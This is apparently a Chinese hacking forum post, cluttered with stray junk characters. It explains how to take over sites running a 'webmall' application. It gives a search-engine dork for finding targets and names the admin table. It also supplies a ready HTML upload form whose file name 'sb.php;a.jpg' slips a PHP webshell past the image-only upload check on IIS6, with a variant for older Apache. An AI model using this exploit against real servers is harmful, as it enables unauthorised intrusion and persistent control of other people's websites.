关键字:inurl:webmall/detail.php?id$ V1 B9 {- h) i2 w2 y" L7 e
1 A, k: @6 v4 s, R% G数据表:pwn_base_admin
1 @0 ?! l& N1 o* T+ A$ N6 u- Y, `& A) F ' @0 u* C6 e& S2 I/ Y7 `+ N
关于拿shell
+ D$ q8 y7 J: T3 W- C G* r$ ^
9 v2 z* n4 g f; q" `# `+ j( e首先登录后台admin.php( K1 c: `. r# O3 f& Q1 q2 _- A
- v" ~6 y) x: y$ ^# G4 U+ F, h看了upload.php源码,分析了一个下午,然后大约是明白了虽然上传那里只允许上传gif,jpg,png,bmp四种文件,但是并没有对文件名做限制。! ]* A+ n# d: K
换句话说,sb.php;a.jpg这样的文件也是允许的,只要服务器是IIS6就拿到webshel,低版本的apache可以试着重命名为sb.php.jpg' `) m u- J; L* A1 @- D7 V
然后搞完了才发现,这里的比我的更精简,我那个蛋疼,膜拜下三石,然后就借用了,我的开始和他的一样是采取全部源码的,然后发现了更精简的5 s/ x" I: t4 F
<form name="uploadForm" method="post" enctype="multipart/form-data" action="http://xxx.com/kedit/upload_cgi/upload.php">
1 T" K. a! A; j0 f/ C5 b<input type="text" name="fileName" value="sb.php;a.jpg" /> ) f, _4 o" o0 Q% g! g3 I$ l- m
<input type="hidden" name="attachPath" value="news/pics/" /> % u& c1 v! @8 u( D: x
<input type="file" name="fileData" size="14" /></td>
; u c& ]+ z5 n2 p! [( [4 k/ N3 [<input type="submit" name="button" value="确定" /> ( G) w* N/ I' c3 S. ~" U% q
</form>
1 M, Q8 ], J/ D- q% q- `
% S1 z& }9 d4 i# Q% `! {* ^' z) }7 S首先登录后台,然后把上面的文件保存为xx.html,修改action,然后再上传,如果为iis6就在上传了查看源码就好了。0 ^4 a7 z/ S8 V) I, L
; w( v. h* e( i/ q; n# v9 { |